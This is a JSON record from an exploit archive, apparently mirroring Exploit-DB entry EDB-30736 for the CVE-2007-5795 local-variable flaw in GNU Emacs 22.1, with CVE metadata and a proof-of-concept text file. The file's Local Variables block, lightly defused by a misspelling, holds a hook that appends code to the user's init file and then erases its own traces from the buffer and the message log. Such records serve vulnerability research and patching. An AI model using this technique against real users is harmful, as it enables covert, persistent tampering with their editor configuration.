{"exploit":{"id":"EDB-30736","name":"GNU Emacs 22.1 - Local Variable Handling Code Execution","description":"GNU Emacs 22.1 - Local Variable Handling Code Execution","cves":["CVE-2007-5795"],"author":"Drake Wilson","published":"2007-11-02","platform":"linux","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/30736","path":"exploits/linux/remote/30736.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-30736.txt","vulnerabilities":[{"id":"CVE-2007-5795","state":"PUBLISHED","title":null,"titleSource":null,"description":"The hack-local-variables function in Emacs before 22.2, when enable-local-variables is set to :safe, does not properly search lists of unsafe or risky variables, which might allow user-assisted attackers to bypass intended restrictions and modify critical program variables via a file containing a Local variables declaration.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5795","cvss":{"version":"2.0","baseScore":6.3,"severity":"medium","vectorString":"AV:L/AC:M/Au:N/C:N/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5795"},"updatedAt":"2024-08-07T15:46:59.515Z","retrievedAt":"2026-11-27T18:06:58.517Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-30736.png?v=2","url":"https://exploitbin.com/exploits/EDB-30736","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-30736/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-30736/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2007/https://www.securityfocus.com/bid/26327/info\n\nEmacs is prone to a vulnerability that lets attackers execute arbitrary code.\n\n----------------------------------------\n\nDue to a design error, the application ignores certain security settings and modifies local variables.\n\nBy supplying a malicious file, an attacker can exploit this issue to carry out various attacks, including executing arbitrary code in the context of the application. This may facilitate remote unauthorized access.\n\nThis issue affects Emacs 22.1; other versions may be vulnerable as well.\n\nThis is a harmless text file.  Or at least it looks like one.  In\nfact, it is.  But it's almost not.  If you were to change the word\n\"variaboles\" below to \"variables\", then load it into a vulnerable\nEmacs 22 with `enable-local-variables' set to :safe, it would rewrite\nthe local variables list in the buffer itself to _look_ like a\nharmless text file, while in fact managing to add some evil code to\nthe end of your user-init-file.  Woopsy.\n\n| Local variaboles:\n| hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert \"\\n(run-with-timer 1 nil (lambda () (beep) (message \\\"Your Emacs init file is compromised!\\\")))\") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer \"*Messages*\") (when (search-backward (concat \"Added to \" user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward \"| hack-local-variables-hook\") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert \"| mode: text\\n\") (set-buffer-modified-p nil) (text-mode))))\n| End:","sha256":"d13f17b15eb0fb06a4f18d10eeb9124fded258f260fc2393ece83856b352e792","bytes":1735,"fetchedAt":"2026-11-27T18:06:58.327Z","encoding":"utf-8 (display only; download retains original bytes)"}